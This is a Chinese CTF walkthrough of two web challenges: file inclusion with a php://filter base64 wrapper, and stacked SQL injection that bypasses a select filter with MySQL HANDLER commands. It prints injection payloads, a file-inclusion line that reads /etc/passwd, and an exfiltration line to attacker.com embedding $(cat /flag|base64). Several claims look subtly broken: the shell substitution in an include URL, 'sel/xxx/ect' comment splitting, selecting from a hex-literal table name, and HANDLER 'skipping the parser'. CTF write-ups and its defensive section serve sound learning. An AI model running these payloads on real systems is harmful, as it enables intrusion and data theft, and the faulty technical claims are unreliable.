1. 解题思路与背景解析
这两个CTF题目分别来自极客大挑战和强网杯比赛,都是典型的Web安全挑战题。Secret File考察的是文件包含漏洞的利用,而随便注则是SQL注入的实战演练。作为新手入门题目,它们很好地展示了Web安全测试的基本流程和思维方式。
在真实环境中,这类漏洞可能导致严重的数据泄露风险。根据OWASP Top 10报告,注入类漏洞长期位居Web安全威胁前列。理解这些基础漏洞的原理和利用方式,是每位安全从业者的必修课。
2. [极客大挑战 2019]Secret File 1详细解析
2.1 信息收集阶段
初始页面看似普通,但查看页面源代码后发现关键线索:
html复制<!-- 开发者注释:归档文件存放处 -->
<a href="Archive_room.php" style="display:none">进入归档室</a>
这种隐藏链接是CTF常见的设计模式,提示我们需要关注页面中不直接可见的元素。
提示:在实际渗透测试中,查看页面源代码是基础但极其重要的步骤,常能发现开发人员留下的注释、隐藏接口或测试端点。
2.2 文件包含漏洞利用
访问Archive_room.php后发现SECRET按钮,点击后页面无变化。此时使用Burp Suite拦截请求,发现302重定向到secr3t.php:
code复制HTTP/1.1 302 Found
Location: secr3t.php
分析secr3t.php源码,发现关键注释:
php复制<?php
// 安全提示:请勿直接包含flag文件
// flag存放在flag.php中
?>
这表明存在本地文件包含(LFI)漏洞的可能性。尝试直接访问flag.php失败,说明需要利用文件包含功能。
2.3 PHP过滤器技巧
使用PHP包装器读取文件内容:
code复制http://example.com/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
这个技巧利用了PHP的过滤器特性:
php://filter- PHP的流过滤器convert.base64-encode- 将文件内容Base64编码resource=flag.php- 指定要读取的文件
注意:当直接包含PHP文件时,代码会被执行。通过Base64编码可以获取原始代码内容,这是文件包含漏洞利用的经典方法。
2.4 Base64解码获取flag
获取到的编码内容形如:
code复制PD9waHAKJGZsYWcgPSAiZmxhZ3thZDlhMWQ5ZC04MzUwLTQyZGItYmVkNS02ZmIxNTFlN2IyN2Z9IjsK...
使用在线工具或命令行解码:
bash复制echo "PD9waHA..." | base64 -d
解码后得到flag.php源码:
php复制<?php
$flag = "flag{ad9a1d9d-8350-42db-bed5-6fb151e7b27f}";
?>
3. [强网杯 2019]随便注 1深入分析
3.1 SQL注入基础检测
输入测试字符观察响应:
- 输入
1'产生SQL语法错误:code复制You have an error in your SQL syntax... - 输入
1' or 1=1 --返回所有数据
这表明:
- SQL语句使用单引号字符串包裹
- 存在SQL注入漏洞
--是有效的注释符(注意末尾空格)
3.2 信息收集技术
3.2.1 数据库结构探测
使用show命令获取元信息:
sql复制1'; show databases; --
1'; show tables; --
发现两个表:
- words(默认数据表)
- 1919810931114514(可疑表名)
3.2.2 表结构分析
检查words表结构:
sql复制1'; show columns from words; --
仅包含id和data字段,无flag。
检查数字表结构:
sql复制1'; show columns from `1919810931114514`; --
发现flag字段,这就是我们的目标。
技巧:MySQL中使用反引号包裹特殊表名,特别是纯数字的表名必须这样处理。
3.3 突破过滤限制
尝试直接查询被拦截:
sql复制1'; select * from `1919810931114514`; --
返回错误提示,说明select被过滤。
3.3.1 Handler命令利用
MySQL的handler接口提供直接访问存储引擎的方法:
sql复制1';
handler `1919810931114514` open;
handler `1919810931114514` read first;
handler `1919810931114514` close;
--
这个技巧之所以有效:
- handler不是标准SQL语法,很多WAF不会拦截
- 它直接操作表,不经过SQL解析器
- 执行流程:
- open:打开表
- read first:读取第一行
- close:关闭表
4. 防御方案与安全建议
4.1 文件包含漏洞防护
- 避免动态包含用户可控参数
- 如需动态包含,应白名单校验:
php复制$allowed = ['header.php', 'footer.php'];
if(in_array($_GET['file'], $allowed)) {
include($_GET['file']);
}
- 关闭危险PHP配置:
ini复制allow_url_fopen = Off
allow_url_include = Off
4.2 SQL注入防护方案
- 使用预处理语句:
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
- 最小权限原则:应用数据库用户只应具有必要权限
- 过滤特殊字符:
php复制function safe_input($input) {
return preg_replace('/[^a-zA-Z0-9_]/', '', $input);
}
- 使用Web应用防火墙(WAF)
5. 扩展学习与工具推荐
5.1 练习平台推荐
- Hack The Box
- CTFlearn
- 攻防世界
5.2 实用工具清单
- Burp Suite Community(HTTP代理)
- SQLmap(自动化SQL注入)
- CyberChef(编码转换)
- OWASP ZAP(综合安全工具)
5.3 学习资源
- 《Web安全攻防:渗透测试实战指南》
- OWASP官方文档
- PortSwigger的Web安全学院
6. 常见问题排查
6.1 文件包含无回显怎么办?
尝试使用外带通道:
php复制?file=php://filter/convert.base64-encode/resource=/etc/passwd
或使用DNS外带:
php复制?file=http://attacker.com/$(cat /flag|base64)
6.2 SQL注入被过滤如何绕过?
- 大小写变种:SeLeCt
- 注释分割:sel/xxx/ect
- 等价函数替换:substring→mid→substr
- 编码转换:hex、char等
6.3 数字表名无法操作?
MySQL中纯数字表名必须使用反引号:
sql复制select * from `123456`;
或者使用十六进制表示:
sql复制select * from 0x313233343536;
在实际测试中,每个环境可能有不同的过滤规则,需要灵活尝试各种方法。建议先系统学习MySQL语法和PHP特性,理解原理比记忆payload更重要。